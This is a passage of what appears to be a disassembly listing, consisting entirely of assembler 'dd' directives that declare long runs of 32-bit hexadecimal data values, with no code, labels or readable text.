		dd 0FE84B74Ch, 0BCA8139Dh, 4C276900h, 6570BA64h, 25A0415Ch
		dd 557062DFh, 6812F3C4h, 37AA54BCh, 6BAB2A93h, 0F4B05356h
		dd 4BE0503Dh, 3919F87Ch, 1C2D101h, 3C91E90Bh, 6AB01D2Fh
		dd 0BF77D2CAh, 90ADCADh, 830303E2h, 58D0B6D5h, 0E91CD631h
		dd 0D62F1799h, 6F90720Ah, 0BAB512CCh, 0A468DD0Fh, 0C89F9A72h
		dd 0AA68DB3Ah, 1F3660A6h, 0BD1BC060h, 377E0CDDh, 77BA1EF6h
		dd 0CD993051h, 5B5792FAh, 95D033F4h, 0C3C0331Bh, 4C956F68h
		dd 3FC20F0h, 5800A49Ch,	0E930B728h, 0B9884ACBh,	917684C0h
		dd 5F1ACAEDh, 84090DFBh, 5C13597Bh, 0C5015C04h,	5D2D4B1Dh
		dd 219D2B30h, 0F40C31D6h, 5C59B762h, 93107755h,	53F05A7Ah
		dd 6FC92F4Ah, 0C3141CD6h, 0DF1C6B08h, 3F0F1429h, 919AAB2Bh
		dd 79339300h, 46903661h, 0E9144571h, 84AFCC59h,	2513A1BFh
		dd 0DE20279Fh, 0C3C49017h, 0CE1D6693h, 0F3C04B16h, 13FED550h
		dd 14E09D21h, 599F05ACh, 1A844F87h, 0DF6BB4CBh,	3DBC57FCh
		dd 18014D16h, 66F36067h, 0E52660h, 50208918h, 2B92DB8h
		dd 22C0BC4Eh, 977785E9h, 1E9635F9h, 0BEA024EAh,	6B69F728h
		dd 0EF7C1ED4h, 487E2299h, 0F25AF3C0h, 28B10BEBh, 0AB8250C3h
		dd 295EF114h, 52CF296Fh, 13229202h, 0DF5E5456h,	3DE91311h
		dd 18E27E20h, 0D9F2D23h, 1038B87Eh, 8D501020h, 0DF5B6D8h
		dd 7FFAD501h, 0F50CCD5Ah, 8F0B9A6Ah, 0FEA6ABD5h, 0A6E7A7Ah
		dd 4B80FB49h, 0E917EB9Eh, 0C1FDE4B3h, 0D95D600Fh, 0ACDA6423h
		dd 19D2DFBh, 295BFEB7h,	9ADB183Ch, 1EA4EA29h, 0CB434515h
		dd 53149294h, 9401534Fh, 6D22611Eh, 22755812h, 29B40A3h
		dd 0D263B70Fh, 4501B883h, 589310F6h, 2C6F2119h,	0E82FC187h
		dd 0AFA56310h, 9D08C546h, 16933FC0h, 80205BB5h,	0F74F9EAh
		dd 0C226012Fh, 0C602BD51h, 87092827h, 0CE42CD94h, 1A4411Dh
		dd 7E33241h, 249C9D47h,	4467892h, 0E9D989B1h, 3C94F122h
		dd 610AA136h, 36064303h, 0B4CDF6ACh, 0B1519F72h, 0D167BF09h
		dd 27392832h, 72C61040h, 5A28AF4Dh, 0EAECFA8Dh,	2826C311h
		dd 569380C2h, 79D404EAh, 0F280165Eh, 0D98609F6h, 0B065A669h
		dd 955A00Dh, 6C4B7B32h,	90467D9Eh, 5FCDC43Eh, 4EF98EA1h
		dd 561D3C78h, 0D825CC57h, 120FE62Bh, 650D0358h,	0B8C89237h
		dd 5E489807h, 0D9AE56EEh, 84156DA8h, 8910B344h,	0C5A9A19h
		dd 71A6AF68h, 18156264h, 0D0A70C03h, 0EC208BDh,	16CA8058h
		dd 6150E267h, 0E4FE69EAh, 4C2D2F6h, 0D77423E9h,	9C523398h
		dd 0B0A29786h, 0B2DD697Ch, 7D73CE4Fh, 0E6DE823Ah, 49123B00h
		dd 0A13CEA68h, 5027C65h, 2D04E6DAh, 403534CFh, 3E127FA2h
		dd 7B6689B9h, 0FB319329h, 0BCF2C52Ah, 207FD499h, 657E9118h
		dd 5BF5B352h, 52B22FE8h, 0AD2A99E4h, 13987D64h,	177499Fh
		dd 2B488379h, 61458D24h, 7E786859h, 0AA4DA4A6h,	0F1B5E982h
		dd 3AC6E291h, 3268E602h, 61ED7575h, 789B6806h, 96D925F3h
		dd 5700E06Eh, 6DFE6852h, 5AE93AA7h, 497A1DDDh, 2D295987h
		dd 52D9438Bh, 829BE76Bh, 0C6EE953h, 22C6A53h, 9FC2F59Fh
		dd 41E5D13Fh, 0BF04E75Fh, 443C4804h, 0E90838BBh, 9C4A8409h
		dd 0EB28D71Eh, 0DAC62D08h, 3FA66EB9h, 48C1C08h,	0EA97D7F7h
		dd 7AB5B5C7h, 0D97B3DF1h, 2D23E65h, 46F6C50h, 1C3866C7h
		dd 9204AB10h, 2815697Bh, 1F6EED50h, 8C71DF29h, 0D86FEFBDh
		dd 35046CC0h, 24FDF3BCh, 28A089FBh, 5A120B04h, 53E22E8Fh
		dd 0B55444F7h, 12554762h, 68A540C3h, 0E0623A9Fh, 0EB257E5Ch
		dd 4B1212FEh, 0ED4B7DA9h, 0D5E6C1D5h, 700122h, 0E020E8F6h
		dd 0F8C59D08h, 0A7560E96h, 0C4B3E375h, 2296680Bh, 69F02966h
		dd 9954B52Bh, 0DF5B2A28h, 88C5F947h, 0AE12842Bh, 0F955EA12h
		dd 3B5C3724h, 0C154A195h, 8F86273Dh, 0C7F6540h,	0D8307CE9h
		dd 0D5895523h, 8D9AE8FCh, 0CE686609h, 0E288DC6Eh, 0C90894A1h
		dd 0F817DA01h, 23D8B85Ah, 847A5A35h, 3CA019Fh, 7E7043E9h
		dd 63000F35h, 5ACA280Bh, 0CFF89D01h, 6F5F0881h,	5C896598h
		dd 0ADEE7A9h, 757DDFh, 7A366F05h, 664E5E10h, 658E62A0h
		dd 82D621CCh, 0BA7F3CF1h, 27922372h, 0C20F2C12h, 64D127AAh
		dd 4384E30Ch, 445D64EBh, 0BDD1A0C5h, 63481B09h,	0ED13FD6Fh
		dd 8C9450F8h, 420977B8h, 7E43E61Ch, 6408A066h, 0AD020E5Fh
		dd 5EA39430h, 0A1086C75h, 26562F71h, 98803412h,	7987D6F7h
		dd 6F922AF1h, 0BB660EBCh, 0DD9F70FDh, 0C3FECD3h, 0F30A2E0Eh
		dd 5650797Eh, 6C0DEDBh,	0E95B5EF1h, 68095D85h, 4885B992h
		dd 0E4DF270Dh, 0F5C171Dh, 616504BFh, 840501A8h,	57E26330h
		dd 29874606h, 1F63DBBFh, 6929E60Bh, 6B9A2980h, 52981CEEh
		dd 2347194Eh, 3B3081D7h, 2C8BA985h, 17AFFD89h, 0A3CD2177h
		dd 73657E1Bh, 562700FDh
		dd 266F7CF6h, 0F012588Bh, 0B7533ED1h, 0C3EF8001h, 0EC5BF828h
		dd 0D625E9C0h, 9FD9DB97h, 0C5CC0BF9h, 0BDA95EB2h, 83D579E2h
		dd 3BFEE90Ch, 0C2EACB5h, 259AD76h, 0A196DE4Fh, 2E108EA9h
		dd 1CD335FEh, 0B999980Dh, 18CF036Fh, 70D9CFF2h,	5A322DDh
		dd 1E68581Ah, 9CD9A83h,	0DA292A24h, 2084F08h, 0F0E685Bh
		dd 0CA8224F5h, 73EB2D00h, 4FEA170Dh, 0E8256728h, 0FAD8020h
		dd 36105ABAh, 4821F872h, 908105B8h, 0CE8C9B0h, 0BDF93125h
		dd 52ACF3A8h, 0E2E9520Bh, 5079FE10h, 1BB7AD14h,	732A2C8Eh
		dd 2097BF79h, 0B062EF56h, 0F53ECA31h, 1EFDCC12h, 1DE927D2h
		dd 9191EE70h, 0A59665AFh, 5F59215Ch, 4DE99E60h,	68091D63h
		dd 0C6B05049h, 0FBACDA97h, 0D1442CBEh, 0A9BD5F90h, 33FE581Bh
		dd 0B780A012h, 54B11E23h, 0C060C1C4h, 4B440BA0h, 0C4B5BCA7h
		dd 8003FD70h, 0D382B7F2h, 61B192F5h, 0E6425640h, 509F4C5Eh
		dd 0BCE8A155h, 9A853FC3h, 0E84AEF44h, 0C9E860Dh, 0F6FA77EDh
		dd 0EF0ED713h, 5166AB00h, 9D2874B5h, 0D0E848D0h, 61C8C1B5h
		dd 0AE2AC2Ah, 8BBAD2E9h, 78279082h, 2A07C64h, 0D06742A7h
		dd 0EB50A57Dh, 0DCBCD9AEh, 1B4CE96Eh, 744E746Eh, 0E0A301C4h
		dd 2768D1D8h, 0F469A9B5h, 85FCA51Ah, 477F8F5Ah,	5ADBAB27h
		dd 0A4F304EEh, 0AEA55939h, 8D096484h, 5D36E298h, 95506307h
		dd 1420ABF9h, 4E277F36h, 0E1C60011h, 91A7DA8h, 32A2E84Fh
		dd 62783580h, 46C4636Fh, 0DD88C37Eh, 50EAB7E4h,	0AC9316A2h
		dd 50F04707h, 0E2668h, 35580FE0h, 2CA6471h, 0CB925798h
		dd 0C85ABEF8h, 51A2F4F8h, 26095540h, 837F8F3Eh,	84568BCFh
		dd 0C4D8176Ah, 1633ED15h, 86C9FC3Ch, 0C6A18F9h,	0E142ADB1h
		dd 37640514h, 347F01D9h, 0DDE955D2h, 0E1D07F86h, 1B20D266h
		dd 295D09F3h, 0CA7C5FFBh, 2F545708h, 3005097Ch,	0A8266F9h
		dd 6179CA13h, 1B7D5024h, 12F51C84h, 0A95F7F0Dh,	70F7D17Eh
		dd 0F45E0278h, 0CE08EE35h, 9FF3113h, 0BEF8A89Fh, 66D682DFh
		dd 0C5284B81h, 0B854C83Fh, 0FEC2C741h, 8716A7E9h, 0EAF62220h
		dd 0A5362F0h, 2A79D329h, 5DDB6858h, 0FB81B02Bh,	3F7B7D0Dh
		dd 48E06CF0h, 848403BFh, 814B0010h, 302A47E3h, 3B0C2EBDh
		dd 4D4ED055h, 0F38062D1h, 0D4CA133Ah, 25CDBB90h, 5E448C09h
		dd 78EE0888h, 0C2262637h, 0F35E5270h, 0A7013DCDh, 0F905D6E2h
		dd 49F54A74h, 55AB0920h, 0FFDB83DEh, 4286568Bh,	32F75F76h
		dd 55A2E20Fh, 60A06167h, 2C15E926h, 3C77FF84h, 2DFAE5C3h
		dd 0C8DCD965h, 0F2B7193Dh, 0E088C315h, 94319B3Bh, 0F32EC61h
		dd 0B8FC18Fh, 0D8D3D4C4h, 22F73594h, 0CD1177Eh,	29CDCCD0h
		dd 0F67ABD95h, 68BCF0A0h, 3A5C5F5Ch, 65DDA6C5h,	0F2F2302Ah
		dd 0F924D013h, 0C24B1D1Eh, 1C607B4h, 0C2635CB9h, 4849E829h
		dd 526600DFh, 10B40D50h, 2CEAFDB6h, 4AAD5EDAh, 4202C184h
		dd 0DD2D9468h, 0E98BD065h, 0D70E62AAh, 7D9A306Ch, 99552027h
		dd 0B3010C81h, 0D8C63457h, 5B16A3D3h, 0EC503B4h, 1E40BD4h
		dd 0ED0AF52Fh, 5E9B2008h, 721CF7ECh, 0F044195Fh, 0B20F5262h
		dd 5AD128E3h, 0CFC14AEAh, 399D3AD3h, 6220B921h,	2F9141B0h
		dd 67F5059Dh, 0F73E402Fh, 2BCB241Dh, 5D5F7A98h,	5E9BF821h
		dd 0EA855803h, 0FDFE4182h, 242E21Ch, 0C7DAFF19h, 3B912132h
		dd 404F8492h, 945E1707h, 0D4B40BD6h, 107FBAD7h,	9954552Bh
		dd 0BE5660F2h, 8A2E633Dh, 0C702317Bh, 8484759Ch, 68F85EA7h
		dd 5ED2A9B4h, 0B568A703h, 30AB1069h, 0C9077381h, 0F8619EFh
		dd 8EAE809Fh, 0BE891EACh, 8D23096Ch, 8FF082E4h,	59B78B92h
		dd 0D9C04956h, 66BBE85h, 42B176F7h, 0CFF3B7F1h,	26D60A08h
		dd 0D1180917h, 4EBEFBDBh, 878E1261h, 83CE5429h,	0E96691D7h
		dd 6A2C6536h, 947FA5F1h, 51AE2C70h, 5A99B904h, 92C248B7h
		dd 995304BBh, 5B51DC21h, 1B7F295h, 7F882A59h, 510DAE9h
		dd 0AF8FE80Fh, 0D0896426h, 0B14EC2h, 840FC90Bh,	0E3D2CAEFh
		dd 49E30E20h, 0D15FC35Dh, 347F9DC5h, 5041F3FDh,	2456D820h
		dd 25B14EE8h, 945F6C0Bh, 7A062D4Ch, 0C104F251h,	0AC008EFh
		dd 3CF5F2A4h, 35CF0145h, 0F890BB6Ah, 4F031CDDh,	4028F816h
		dd 0C33E907h, 0BAE651EFh, 5F6DC91Dh, 18792C6Ah,	36BE650Ch
		dd 0EEA57256h, 0B5407FADh, 0BBE68180h, 16B80538h, 7FFAF606h
		dd 0B0C2797h, 512C3A4Fh, 12834D0Ah, 5770EEDFh, 5B1F39C2h
		dd 8189F86Ah, 0A87CE70Ah, 3598DE20h, 0BCDC487Ah, 690841F2h
		dd 69D28958h, 0A9514A4Fh, 813BEF89h, 7EFBB626h,	32096A25h
		dd 0EEB95585h, 42642A31h, 0A19683FCh, 608C355Ch, 0D12925Ch
		dd 74C04426h, 2411B376h, 1029DF31h, 4E661CC3h, 0ECABF8A7h
		dd 6177E881h, 0F6CE0A0Fh, 47E46F2Eh, 3FB8FE50h,	0D1E51C8h
		dd 86571F3Ch, 2E10B7BFh, 0F102CF26h, 2D73BD08h,	33105347h
		dd 320754Ch, 275C5A4Ch,	109FE7C3h, 15919202h, 0E3C1EAB4h
		dd 0F86658E1h, 4FA5E909h, 5249D9F1h, 63F82003h,	0EF20EB98h
		dd 2D5490C4h, 44C92EB7h, 24293A0Bh, 0DD88D400h,	0EAEEE652h
		dd 1871374h, 2A10215Ah,	65560766h, 0D5F60281h, 2CC1F580h
		dd 3B0BA261h, 38F27D12h, 685652B0h, 4405394Bh, 10F047E9h
		dd 22CDB75Ah, 74C7BD0Bh, 0C4E8E753h, 7A9EF17Ch,	15FD6E6h
		dd 0BB8B415h, 2F3B21AFh, 0E2D3DA44h, 27AD6607h,	9A159E57h
		dd 0A3B3530Fh, 53B87B0Eh, 91206C3h, 77E13710h, 68C05B2Ch
		dd 74341128h, 0B95EE92h, 0AEA3F70Dh, 400004EBh,	70356A48h
		dd 0E4E9D889h, 6699956Bh, 0BBA655BDh, 0DB12D11Eh, 5A04AB80h
		dd 22DA982Ch, 76307910h, 0DFBBA7E7h, 1A043D03h,	0BF06A096h
		dd 0AC20CC39h, 0D44016BCh, 2E59AD46h, 6908A559h, 0AC583861h
		dd 0E6FCD716h, 5E5E7A09h, 8D4F1783h, 82ACA80h, 0A1405126h
		dd 2F55A42Ah, 0A13A8441h, 0EA2D6E25h, 409E1880h, 0FD29189Dh
		dd 809C9A2h, 9437C085h,	0DA2EAECFh, 0B39F4F71h,	90662742h
		dd 819A947Eh, 0B4EC2046h, 2B83CC0Bh, 34ED5829h,	0A2ABE3ACh
		dd 59551606h, 5A782DE2h, 0BEFB00DCh, 25980A9Fh,	83584E64h
		dd 0E8121314h, 0C63ABC55h, 28437852h, 2CB05E1h,	140A77C5h
		dd 0C040D909h, 43829588h, 1EC0CC2Dh, 0B864A2F1h, 0BDDB9A38h
		dd 8709257Bh, 0BB9B756Eh, 67F9BC31h, 293FEB28h,	0CB042A69h
		dd 0A2AE5854h, 5AE9C436h, 0E95E01A0h, 17EB1160h, 0D04DB007h
		dd 0F84E95Ah, 0B562449Fh, 75B1F8E0h, 81DAF19Dh,	11368C68h
		dd 412C6B5Ah, 516540D2h, 50F1881Ch, 0E347CCDDh,	869A5958h
		dd 8A546B2Fh, 42A40EBAh, 1C73AE4Dh, 0E923F566h,	0C1211832h
		dd 4F81A867h, 441DB290h, 47DE786Fh, 0CD1DBEC3h,	0F377F339h
		dd 0CEAB98AFh, 6C5F6231h, 0E50F5CB6h, 86F0FAEAh, 0E0D75A89h
		dd 3DA45F05h, 4CFAE913h, 0E553E74Eh, 0E7A786E5h, 6676FE25h
		dd 5CD9108h, 0AA66E068h, 0E50D5D8Dh, 5A02B2F5h,	0CF1C5257h
		dd 95390118h, 0E81744C3h, 564E7E9Fh, 0F23FF3A1h, 0E68F8A0Fh
		dd 0EBD0EC8Bh, 0EB8B924h, 0A7FCDD3Bh, 60C34431h, 0C7FED78Fh
		dd 5895F780h, 0F65B16F4h, 0E1D3B4D1h, 0CA50FA98h, 0E93CD5DFh
		dd 93084DDFh, 0EC5C32A1h, 0C34A9DE9h, 774F81DDh, 0F53F311Ch
		dd 82080497h, 0F24A2489h, 0E8921877h, 525A80C5h, 0AF70B63Ch
		dd 0D7EFC231h, 0C8BECDB8h, 25336817h, 91C51BB8h, 7A8CAFEAh
		dd 0AB48FBC2h, 27830995h, 247D2172h, 0A2AF063Ah, 4198D2A5h
		dd 0BD5B4022h, 0C04B4804h
		dd 5FEF051Dh, 0D79ACA5Ah, 8C52CB8Ah, 0E8CB183h,	0A9FCC550h
		dd 0C3868CFFh, 0BB259D9Ch, 0E920C4BEh, 41C4DBABh, 3081B0B4h
		dd 653B9161h, 0C799EB96h, 0F021D455h, 0B37F4CF7h, 0A12C109Fh
		dd 0C5685C0Fh, 6995DF38h, 172917D2h, 6263CA3Eh,	0D4F9D5CAh
		dd 7561EF7Eh, 786B891Ch, 4BE4136Dh, 171032A3h, 0F28004FEh
		dd 0B5878878h, 5D5BFD32h, 2BE99A81h, 79E66F8Ah,	2DDBC4Bh
		dd 0DC1D6B2Dh, 0D688F50Ch, 43482F07h, 744B41E9h, 614F7AF7h
		dd 452D523h, 94F6D8EEh,	0D7CC724Fh, 0E60B5BABh,	0F57A1647h
		dd 0E2A43DECh, 4AC2C8F4h, 6022541h, 0B440C138h,	46D64ADBh
		dd 0E4F733ECh, 3CCBE577h, 0A3680B61h, 8E6F5147h, 20C946D7h
		dd 9B9FA84h, 832DDC58h,	3308717Ch, 0DA30EACCh, 0ACC45FE9h
		dd 0BF7B03Ch, 31273CD8h, 33BDA401h, 0F5B8FFD2h,	8F70555Eh
		dd 8414D99Dh, 0EF025468h, 7C42122Dh, 0FC94DF6Fh, 0CED4C725h
		dd 0DB23B53Ah, 0BD2F5A36h, 3E087129h, 0AD330A2Eh, 0F6EBCB74h
		dd 7D7B00F1h, 0E281137Ah, 3809751Fh, 0F9F2033Bh, 40335856h
		dd 4F139C18h, 21AB849h,	0B77DE4EAh, 0E9EA6084h,	0F0BBE3Ch
		dd 5149C380h, 0C3C66A84h, 7B41B194h, 0BF883BE1h, 99555FDDh
		dd 10B728A7h, 881E5984h, 1D92E6E1h, 4B035FC0h, 5F560DEFh
		dd 81521050h, 0E9B53F2Dh, 5CE46D60h, 0FED7F4CBh, 4FB5E420h
		dd 894E4158h, 0E1CEE97Bh, 88F4666Ch, 4F43F2DEh,	0BF488881h
		dd 561CA59Dh, 0FD9CCDC2h, 0E59B413Bh, 13A568F0h, 277E97CCh
		dd 9381A059h, 0E8088298h, 0E8258EF5h, 0F2396147h, 2476F08Eh
		dd 770FCAA7h, 0F42F47ECh, 58BFDED4h, 8CD24960h,	4FCC8AAFh
		dd 247BF9E5h, 0CA89A4E2h, 0CE71A163h, 4219D98Eh, 27CCAA40h
		dd 4F65B16h, 52541C96h,	807C8D01h, 0B16B6FCCh, 4B794AB6h
		dd 966AD2E4h, 2DC52F00h, 0F5555C42h, 0D698E8E1h, 5B05925Ah
		dd 2129764Fh, 87562CEEh, 0FD6EC29Fh, 0CC9F8B44h, 930098B9h
		dd 38D2689h, 0A7B6278h,	72C5F0B7h, 514B3BF9h, 0F91D199h
		dd 0D1C25B59h, 58CAA41Ah, 695761AEh, 85AB0475h,	342A007Bh
		dd 291D0D48h, 81439A3Ah, 623735DFh, 177454E9h, 0AC754E68h
		dd 0FD68DF02h, 487F08A8h, 0CAB70AC1h, 1270D7F6h, 51884042h
		dd 0F2968651h, 0E241AE62h, 761A288Ah, 843489BFh, 8CFF077Fh
		dd 5759A69Fh, 5E3A840Ah, 0F1C562BEh, 9E2F4F76h,	0D9E925B8h
		dd 95735E2h, 0BD1C828Dh, 56F10B85h, 0A17F6E62h,	16B66839h
		dd 0E90CF463h, 9ED9E33h, 2803518Ah, 5302D8Eh, 0F60E5AFAh
		dd 0C0381E2Eh, 442F36E3h, 2B4B5C12h, 5356051Dh,	0ED0FEB2Ah
		dd 9F19ECA9h, 57C23368h, 4D5BDC8Dh, 9B48B2CBh, 295BFD20h
		dd 3C8BE991h, 0A220AC2Eh, 0B964D52Dh, 73B87427h, 44B6C8F7h
		dd 8920A0B0h, 90EBE79Dh, 5D0496EFh, 0D418AF16h,	0DB2D0C4Ah
		dd 8706DC41h, 0D2305201h, 0D5EF187h, 450B62A8h,	58F0AABAh
		dd 0C989DEB3h, 105FA00Bh, 0BCEA12B4h, 88F44B01h, 694E3A33h
		dd 6503F417h, 0DB258CCEh, 56A775EFh, 5D9DD7F7h,	0CBBAF7CBh
		dd 0D75804FAh, 0CFACB4CCh, 7484558Bh, 4A12F6DFh, 984006E1h
		dd 0E859B1h, 22292D45h,	4EE94F30h, 312400BDh, 0BF522077h
		dd 301B745h, 5A25C219h,	258DE67Fh, 89E4F6E1h, 474446DDh
		dd 6E3BE07h, 0D2D56679h, 0E1580392h, 100C245h, 819759CDh
		dd 2C783EFh, 16D9F37Fh,	5FB4DC48h, 0CE2C1258h, 518EBB8h
		dd 0F71D3C2h, 0DE35488Ah, 0E942C3E0h, 7CB288C8h, 62DEA32h
		dd 1ADD7C4Eh, 0EC59DD54h, 61B06C8Ch, 112309C7h,	0B6D64777h
		dd 5173FD20h, 7DE4DFCBh, 96D12B2Bh, 580A0149h, 612A525Dh
		dd 307AFD2Dh, 0DB12F7E8h, 0A3A0C2E9h, 0C0833192h, 80EAC108h
		dd 0B23BFEEh, 27E940FCh, 3456D113h, 298C85C2h, 923D2EF9h
		dd 99EACA41h, 0D1217A31h, 0E074565Ah, 7EDBEC59h, 0F7E6494Dh
		dd 201EB90Fh, 2ED75C49h, 7F8F613Dh, 0C9D91B54h,	24CFF930h
		dd 1F704941h, 0BE0E5E6Dh, 0D0D2F181h, 2031A189h, 0BB0F5376h
		dd 0B21D8687h, 0F5A87446h, 240B7063h, 0CF971AC1h, 603E906h
		dd 4DF460B7h, 5A93059h,	0F3BFDF5Ah, 70BC495Fh, 90D6809h
		dd 0D4307066h, 369A5BEFh, 14476403h, 0F99EBE3h,	9D8AB4E8h
		dd 6810DDCCh, 0B44C7195h, 3051C12Dh, 6BF2F6C9h,	58E41A74h
		dd 4D5A21FEh, 0B14E037Ch, 0F76EEAA3h, 4C6C5029h, 9051BB40h
		dd 689940FDh, 7A17CB7Ch, 0D50F5A26h, 41DC249Fh,	3F6287AFh
		dd 0C320E922h, 70AF3C76h, 0E5EB7071h, 414E109Eh, 957778EEh
		dd 0B2816046h, 80E4B0Fh, 3FE98231h, 91D6454h, 205B6088h
		dd 0C4608F77h, 0C5A392ECh, 8069D299h, 0FE6FB313h, 3E5066C3h
		dd 0CC5E0A68h, 0C05EB6F2h, 9AEA9798h, 80D995AEh, 1E4110EBh
		dd 31FCBBB2h, 244CC3Fh,	2FAF785Ah, 46A54E6Fh, 0C4B250E0h
		dd 0FA57DE05h, 0C525BA75h, 21AC86h, 0F65AF420h,	30EC80DCh
		dd 0C0E70828h, 854BD7E9h, 6F95FA4Ch, 4043B64Bh,	5CDC97BEh
		dd 1456095h, 7828B0EAh,	0E06B4AD1h, 6740FC96h, 5E00FC0h
		dd 77490A34h, 3FF4B02Bh, 7EC5425Ah, 5AE9C29Ch, 0CDB15F68h
		dd 0FED9F607h, 832180C1h, 0E87CCC88h, 0EE8FC4DBh, 76E997C2h
		dd 31094FF6h, 0B6945DD0h, 0A69DE595h, 6C5088EEh, 5C5F660Bh
		dd 0C4B7099Fh, 142E6352h, 0EE23E85h, 7DC40F22h,	4ACDE287h
		dd 2B8B8306h, 5CA8241Fh, 0DD095222h, 502E396Ch,	21CFF77Ah
		dd 9CF4BABh, 84B507Fh, 0C32D5B7Dh, 4C6FE36h, 39EF803Dh
		dd 1E02B2C0h, 9225AFF7h, 0DD4154AAh, 6BE0D3B1h,	0E43088CDh
		dd 40024BDCh, 90435C4Ch, 0F37D09FDh, 588E2A30h,	1F52ADBBh
		dd 14811DC1h, 87906AFh,	1A3B40E6h, 4A70E406h, 77D94CEAh
		dd 8017F006h, 141D3446h, 0C2A5CA67h, 1DC988D0h,	5DE9973Ch
		dd 0DA536DFEh, 0D697E938h, 76BEF0C1h, 4D1C6880h, 7C848371h
		dd 555F0753h, 9EB4055Fh, 3BF65B4h, 78C50958h, 7BF2E7D1h
		dd 0DD25EC7Ch, 0A1293724h, 0CB255552h, 0CB4A7E1Dh, 83812B25h
		dd 10F114EEh, 0CC540C60h, 0D00C07AEh, 377A0218h, 0E0E106CEh
		dd 90E4B2C8h, 0B1C1D746h, 78AAE1C8h, 0B5510BD3h, 0D4A50508h
		dd 0AABC74AFh, 1EADB765h, 0DC64A245h, 23223168h, 0FBD0A9h
		dd 28CA0B05h, 0BF59C82h, 4DD618D3h, 849A857h, 8CA5816h
		dd 8268E909h, 7D4EF268h, 0F756700Fh, 0BD09A5DEh, 0BCC0E7F4h
		dd 95EC0B86h, 0F92D6446h, 885A51D9h, 58055D14h,	0DEBE580h
		dd 0E43F0607h, 2C2FC6C5h, 0A4D0638Ch, 680B70B6h, 0A374183Bh
		dd 0E7E99960h, 55F6AA65h, 0D4ADE771h, 0B08A92AAh, 0D04BCE12h
		dd 0F4D6C5F7h, 504093DCh, 27F07788h, 0DC54499Dh, 417E4172h
		dd 0C17E0733h, 2F7F0C6Ch, 55102F17h, 4E8C4A07h,	2E72CC1h
		dd 0AE470342h, 68A3392Dh, 63466CEAh, 4D6B55A0h,	0AE3ABB3Ch
		dd 0D302B4FBh, 596302E9h, 0C6DA8994h, 5896B779h, 0AD6F21BBh
		dd 0D5F72A41h, 10016614h, 1E9F9D22h, 77462074h,	28E5BDA1h
		dd 21BD0056h, 4D296F4Ah, 0F63AF7D1h, 79820BDCh,	3E2F04F0h
		dd 256824F0h, 0D3981A7Fh, 87BEBF3Ah, 4BF7974Ch,	72B8BDE1h
		dd 76408C41h, 3E9D112Eh, 0B0344569h, 5688FAFBh,	0B4BE4F56h
		dd 0AF9F2DA7h, 10DBB45Ch, 91DEB98h, 6DA9C9EFh, 0E64FCC7Eh
		dd 7F4DDCB1h, 948849CBh, 38EBED4Ah, 6F9B1207h, 2392DB03h
		dd 4C801791h, 5CBDD0EFh, 7D01424Dh, 730EB81h, 77317A9Fh
		dd 1204817Bh, 7B976109h, 0A7970DC1h, 81CD6D80h,	0C17E61EDh
		dd 27681E38h, 0D64E654h
		dd 64537AD8h, 5A503442h, 8AF245B7h, 3458F92h, 6E6349FBh
		dd 31987E00h, 0BA5203C6h, 937717FCh, 8407FF6Dh,	3ECCB5E9h
		dd 0D4F42C80h, 119F16A3h, 68029320h, 2B6C72DDh,	4A0E4A76h
		dd 0E96A611Bh, 33796B87h, 0ABA2EA2Dh, 5902953Eh, 48F54433h
		dd 0D2E7B0DCh, 445475C7h, 6C80598Eh, 0F2B6062Fh, 0EBC3F0E3h
		dd 0BE0FBB07h, 0E52071C8h, 465F852Dh, 58ED448Eh, 0E5D4054Bh
		dd 6B9B3588h, 0D4E81D87h, 9591FC72h, 68C80F81h,	313E2043h
		dd 7401CD9h, 0DD27B8D2h, 0F325779Ch, 57C1B5Eh, 0B65290BCh
		dd 1E74FC93h, 0B200C328h, 80DAF636h, 0E9E00BC2h, 345C490Bh
		dd 0E0295047h, 0B7462CAh, 0EB097836h, 0F0A89746h, 4946518h
		dd 4D54A86Ch, 0C986F58h, 54C1D61h, 8C407CBAh, 28BF06B2h
		dd 4E5A66D3h, 0E93AD897h, 0EDBC292Ah, 0C76570DDh, 0AB2F982h
		dd 6B99DEFCh, 4821DCD2h, 0B8508060h, 1F06324Bh,	66E4C0B5h
		dd 0B428055Dh, 0FF0169E9h, 473F1861h, 9B575002h, 8258B268h
		dd 96933Ah, 0D5C5AEB9h,	0BEB7D48h, 6F53C1h, 7507F69Ch
		dd 0BD505A31h, 0BA2F1671h, 964272C9h, 0ADC67FE0h, 67CF43Eh
		dd 0F0F58176h, 0E9014B0Dh, 0A65D2441h, 97D1CE2h, 1EA38583h
		dd 3DF31F2h, 1F330F3h, 32D0EB1Bh, 0DC5A5B3Dh, 35181ECBh
		dd 0BB0C4966h, 2C933055h, 0A7515D26h, 38180D60h, 9045EF4Bh
		dd 53D61886h, 54F30C06h, 0AB5A05F0h, 1EB41DC5h,	2C5E4039h
		dd 685C66ECh, 2C915B6Fh, 0A4EDF4B5h, 17BAD674h,	892955B7h
		dd 4D04D867h, 5CC13F3Bh, 0ACC2033Bh, 963CC41h, 6C80E922h
		dd 767E4572h, 1C2D5CFh,	4A47437Bh, 5F840E81h, 20533F7Eh
		dd 9348F8C3h, 0D028C443h, 74682B80h, 6308B64Fh,	5150BC9Ch
		dd 992731E0h, 1121D409h, 0BDA04F29h, 3621135Ah,	0A05FE122h
		dd 0B809806h, 3547768h,	0E14057C8h, 0E5C11366h,	1A0EF807h
		dd 82134F2Ch, 0BA08279h, 8A059B02h, 0E726777h, 0FBA25A5Fh
		dd 0FAFC3C8Bh, 0A9CF4670h, 0A343173h, 203E4112h, 955F4C9Bh
		dd 94D7C2ACh, 161FFA7h,	5D03A9D1h, 655F56B1h, 0EA212A94h
		dd 54AC8h, 9E7AEE6Dh, 7209BB4Ch, 0D880D99Ah, 14B904A4h
		dd 0F1D29D12h, 0EF4430DBh, 71536B06h, 20F8E1C1h, 51F4A4A9h
		dd 40275678h, 59AD3888h, 78CF2F68h, 0E91402ECh,	106BFFE2h
		dd 5026A59h, 5E4B2A51h,	35DAC0DDh, 66B525A6h, 0DE94DA78h
		dd 7CC6D55Ah, 7129FA80h, 0FABDE470h, 5F0881A0h,	5010A672h
		dd 8AD1266Fh, 91E87609h, 77734BB8h, 0CEBB6605h,	101DEC6Dh
		dd 0E3C20AFFh, 0EB021071h, 7DC27F63h, 31CE910Fh, 0D7F3E985h
		dd 3D35534Dh, 2CCE0A48h, 0D310EC8Fh, 681D2C02h,	4D550DD0h
		dd 12831761h, 58DBD1AEh, 0D3E42DC2h, 0C316605Ch, 9094770Bh
		dd 0B3A0952h, 0EDC15FA2h, 0E060B778h, 6B7DBA87h, 0C3405972h
